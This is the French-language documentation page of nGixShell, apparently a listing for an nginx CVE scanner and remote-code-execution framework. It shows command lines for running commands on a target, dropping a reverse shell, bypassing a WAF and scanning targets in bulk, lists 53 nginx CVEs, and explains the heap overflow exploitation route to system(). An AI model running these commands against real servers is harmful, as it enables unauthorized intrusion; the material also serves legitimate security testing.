nGixShell est un scanner de CVEs nginx et un framework d'exploitation RCE. Il fournit une preuve de concept fonctionnelle pour CVE-2026-42945 — un débordement de tas critique dans ngx_http_rewrite_module — ainsi qu'un scanner couvrant 53 CVEs nginx avec sondes HTTP automatisées, empreinte numérique, détection/contournement WAF, audit de sécurité web et génération de rapports.
Zéro dépendance externe. Pure bibliothèque standard Python 3.
Démarrage rapide
root@kitploit:~
# Spin up the vulnerable lab
docker compose -f env/docker-compose.yml up -d
# Auto mode — fingerprint + CVE scan + web audit
python3 ngixshell.py 127.0.0.1:19321
# Execute a command via RCE (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'
# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# Multiple targets from a file
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
Aucun indicateur requis — pointer l'outil vers une cible exécute tout automatiquement.
TLS est détecté automatiquement. nginx est identifié même avec server_tokens off.
S'exécute automatiquement en mode scan. Tous les modules peuvent être ignorés individuellement.
Indicateur
Description
--skip-headers
Ignorer l'audit des en-têtes de sécurité HTTP
--skip-paths
Ignorer la découverte de chemins/fichiers
--skip-vhosts
Ignorer l'énumération d'hôtes virtuels
--skip-tls
Ignorer l'audit du protocole TLS
--path-wordlist FICHIER
Chemins supplémentaires à sonder (un par ligne)
Audit des en-têtes — HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, en-têtes divulguant la version
Découverte de chemins — 50+ chemins ; sonde sentinelle élimine les faux positifs des règles catch-all 403/301
Énumération d'hôtes virtuels — nécessite une DIFFÉRENCE de statut ET de corps pour éviter les faux positifs de blocage par défaut
Audit TLS — teste le support TLS 1.0–1.3, l'expiration du certificat et la détection de certificat auto-signé
stub_status — analyse les métriques de connexion actives à partir de /nginx_status si exposé
Connexion
Indicateur
Description
--port PORT
Forcer le port
--tls
Forcer TLS (détecté automatiquement par défaut)
--proxy URL
Proxy : http://, https://, socks5://
HTTP
Indicateur
Description
--user-agent UA
User-Agent personnalisé
--auth USER:PASS
Authentification HTTP Basic
--cookie VALEUR
En-tête Cookie
--header NOM:VALEUR
En-tête supplémentaire (répétable)
Débit / Temporisation
Indicateur
Description
--rate-limit RPS
Requêtes max par seconde
--jitter MS
Délai aléatoire 0–MS ms entre les requêtes
--retry N
Réessayer les sondes non concluantes (défaut : 1)
--timeout-multiplier X
Mettre à l'échelle tous les timeouts (défaut : 1.0)
Sortie
Indicateur
Description
--output FICHIER
Écrire le journal dans FICHIER
--json
Afficher un résumé JSON à la fin
--html-report [FICHIER]
Générer un rapport HTML (défaut : ngixshell_<hôte>_<ts>.html)
--verbose
Sortie de débogage
Couverture CVE
53 entrées couvrant 2009–2026. Triées par CVSS.
CVE
CVSS
Composant
Description
CVE-2026-42945
9.8 CRITIQUE
rewrite
Débordement de tas → RCE (exploité)
CVE-2026-42946
8.1 HAUT
rewrite
Corruption mémoire (même avis)
CVE-2022-41741
7.8 HAUT
mp4
Corruption mémoire via mp4 malveillant
CVE-2016-1247
7.8 HAUT
packaging
Élévation de privilèges par lien symbolique de fichier journal
CVE-2021-23017
7.7 HAUT
resolver
Dépassement d'un octet dans le tas
CVE-2026-40701
7.5 HAUT
request
Corruption mémoire dans le traitement des requêtes
CVE-2026-42934
7.5 HAUT
request
Corruption mémoire (même avis)
CVE-2026-27784
7.5 HAUT
mp4
Débordement de tampon via mp4 contrefait
CVE-2026-32647
7.5 HAUT
mp4
Débordement de tampon (similaire au précédent)
CVE-2024-24990
7.5 HAUT
HTTP/3
Use-after-free dans le module QUIC
CVE-2024-24989
7.5 HAUT
HTTP/3
Déréférencement de pointeur NULL dans QUIC
CVE-2024-31079
7.5 HAUT
HTTP/3
Débordement de pile dans l'encodeur QUIC
CVE-2024-32760
7.5 HAUT
HTTP/3
Écriture mémoire via trame HEADERS
CVE-2022-41742
7.5 HAUT
mp4
Divulgation de mémoire tas
CVE-2017-7529
7.5 HAUT
range filter
Dépassement d'entier → lecture hors limites
CVE-2016-0746
7.5 HAUT
resolver
Use-after-free via réponse DNS contrefaite
CVE-2014-0133
7.5 HAUT
SPDY
Débordement de tas dans l'implémentation SPDY
CVE-2014-0088
7.5 HAUT
SPDY
Corruption mémoire dans SPDY
CVE-2013-4547
7.5 HAUT
core
Contournement URI par espace+NUL
CVE-2013-2028
7.5 HAUT
Le Bug (CVE-2026-42945)
Le moteur de script de réécriture de nginx utilise un modèle à deux passes : calculer la taille du tampon, puis copier. Le drapeau is_args est défini sur le moteur principal lorsqu'un remplacement rewrite contient ?, mais la passe de calcul de longueur s'exécute sur un sous-moteur fraîchement mis à zéro :
Passe de longueur — voit is_args = 0 → renvoie la longueur de capture brute
Passe de copie — voit is_args = 1 → appelle ngx_escape_uri(NGX_ESCAPE_ARGS), développant chaque octet non sûr en 3 octets
La copie dépasse le tampon tas sous-dimensionné avec des données URI contrôlées par l'attaquant. L'exploitation corrompt un pointeur de nettoyage ngx_pool_t adjacent via du feng shui de tas inter-requêtes, le redirigeant vers un faux ngx_pool_cleanup_s qui appelle system() lors de la destruction du pool.